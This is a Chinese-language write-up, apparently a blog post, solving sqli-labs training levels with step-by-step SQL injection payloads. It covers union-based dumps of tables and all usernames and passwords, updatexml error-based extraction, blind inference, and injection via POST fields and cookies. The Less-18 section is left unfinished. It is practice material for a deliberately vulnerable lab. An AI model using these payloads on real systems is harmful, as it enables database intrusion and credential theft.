sqli-labs解题记录

Page-1

Less-1

1.进入第一题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示正常
在这里插入图片描述

3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号包裹
在这里插入图片描述

4.构造?id=1' and '1'='1页面重新显示正常,由此判断出这题是单引号字符型注入
在这里插入图片描述

5.构造?id=1' order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1' order by 2 --+页面显示正常
在这里插入图片描述

构造?id=1' order by 3 --+页面显示正常
在这里插入图片描述

构造?id=1' order by 4 --+页面报错,由此可知该表字段数为3
在这里插入图片描述

6.构造?id=-1' union select 1,2,3 --+判断出回显点为该表的第二、三字段
在这里插入图片描述

7.构造?id=-1' union select 1,2,database() --+知道了数据库名为security
在这里插入图片描述

8.构造?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
在这里插入图片描述

9.构造?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
在这里插入图片描述

10.构造?id=-1' union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码
在这里插入图片描述

Less-2

1.进入第二题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示正常
在这里插入图片描述

3.接下来加个单引号,显示语句出错,根据报错信息可以得知是单引号影响了SQL语句的闭合,由此判断出这题是数字型注入
在这里插入图片描述

4.构造?id=1 order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1 order by 2 --+页面显示正常
在这里插入图片描述
构造?id=1 order by 3 --+页面显示正常
在这里插入图片描述
构造?id=1 order by 4 --+页面报错,由此可知该表字段数为3
在这里插入图片描述

5.构造?id=-1 union select 1,2,3 --+判断出回显点为该表的第二、三字段
在这里插入图片描述

6.构造?id=-1 union select 1,2,database() --+知道了数据库名为security
在这里插入图片描述

7.构造?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
在这里插入图片描述

8.构造?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
在这里插入图片描述

9.构造?id=-1 union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码
在这里插入图片描述

Less-3

1.进入第三题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示正常
在这里插入图片描述

3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号和括号包裹
在这里插入图片描述

4.构造?id=1') order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1') order by 2 --+页面显示正常
在这里插入图片描述
构造?id=1') order by 3 --+页面显示正常
在这里插入图片描述
构造?id=1') order by 4 --+页面报错,由此可知该表字段数为3
在这里插入图片描述

5.构造?id=-1') union select 1,2,3 --+判断出回显点为该表的第二、三字段
在这里插入图片描述

6.构造?id=-1') union select 1,2,database() --+知道了数据库名为security
在这里插入图片描述

7.构造?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
在这里插入图片描述

8.构造?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
在这里插入图片描述

9.构造?id=-1') union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码
在这里插入图片描述

Less-4

1.进入第四题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示正常
在这里插入图片描述

3.接下来加个双引号,显示语句出错,根据报错信息可以得知参数id的值被双引号和括号包裹
在这里插入图片描述

4.构造?id=1") order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1") order by 2 --+页面显示正常
在这里插入图片描述
构造?id=1") order by 3 --+页面显示正常
在这里插入图片描述
构造?id=1") order by 4 --+页面报错,由此可知该表字段数为3
在这里插入图片描述

5.构造?id=-1") union select 1,2,3 --+判断出回显点为该表的第二、三字段
在这里插入图片描述

6.构造?id=-1") union select 1,2,database() --+知道了数据库名为security
在这里插入图片描述

7.构造?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
在这里插入图片描述

8.构造?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
在这里插入图片描述

9.构造?id=-1") union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码
在这里插入图片描述

Less-5

1.进入第五题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示You are in...........,不再像前4题显示namepassw
在这里插入图片描述

3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号包裹
在这里插入图片描述

4.构造?id=1‘ order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1' order by 2 --+页面显示正常
在这里插入图片描述
构造?id=1' order by 3 --+页面显示正常
在这里插入图片描述
构造?id=1' order by 4 --+页面报错,由此可知该表字段数为3
在这里插入图片描述

5.构造?id=-1' union select 1,2,3 --+判断回显点,结果发现行不通
在这里插入图片描述

6.构造?id=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) --+发现可以进行盲注
在这里插入图片描述

7.构造?id=1' and length(database())=8 --+发现8的时候页面正常显示,其他数值时页面不显示You are in…,由此可知数据库名是8位
在这里插入图片描述

8.构造?id=1' and left(database(),1)='s'--+发现页面正常,所以数据库第一位为s
在这里插入图片描述

9.构造?id=1' and left(database(),2)='se'--+,页面显示正常,所以数据库前两位为se
在这里插入图片描述

10.构造?id=1' and left(database(),8)='security'--+,页面正常,得出数据库名为security(可以通过py脚本爆破或者burp爆破得出数据库名)
在这里插入图片描述

11.构造?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+爆出表名
在这里插入图片描述

12.构造?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) --+,发现最后报错结尾没有显示出~(即0x7e),说明还有数据没有显示出来
在这里插入图片描述

13.构造?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x7e,password) from users),1)),0x7e),1) --+,通过substr()来进行截取,由于每次只能截取31个字符,所以每次都把substr函数中的数值加31(1,32,63······以此类推),直到最后的数据以~(即0x7e)结尾,最后把所有结果进行拼接就可以得到完整的数据
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Less-11

1、进入第11题
在这里插入图片描述

2、先随便填点并抓个包,通过抓的包可以知道是POST提交
在这里插入图片描述
在这里插入图片描述

3、给passwd的值加个单引号后通过报错可以知道是通过单引号闭合的
在这里插入图片描述

4、通过order by测试出字段数为2
在这里插入图片描述
在这里插入图片描述

5、在passwd的值后面加上' and 1=2 union select 1,2--+测出回显点
在这里插入图片描述

6、在passwd的值后面加上' and 1=2 union select group_concat(username),group_concat(password) from users--+爆出所有账号密码
在这里插入图片描述

Less-18

1、打开18题
在这里插入图片描述

2、账号密码输入admin并抓个包,通过登录后的界面可以知道他获取了我们的User Agent,那么User Agent就有可能存在注入
在这里插入图片描述
在这里插入图片描述

3、

Less-20

1、进入第20题
在这里插入图片描述

2、先填入admin并抓个包,通过抓的包可以知道这里Cookie的值是进行过数据库操作的
在这里插入图片描述
在这里插入图片描述

3、在Cookie的值后面加个单引号,通过报错可以知道是通过单引号进行闭合的
在这里插入图片描述

4、通过order by测出字段数为3
在这里插入图片描述
在这里插入图片描述

5、在Cookie的值后面加上' and 1=2 union select 1,2,3--+判断出回显点
在这里插入图片描述

6、在Cookie的值后面加上' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+爆出账号密码
在这里插入图片描述

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

992宸

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值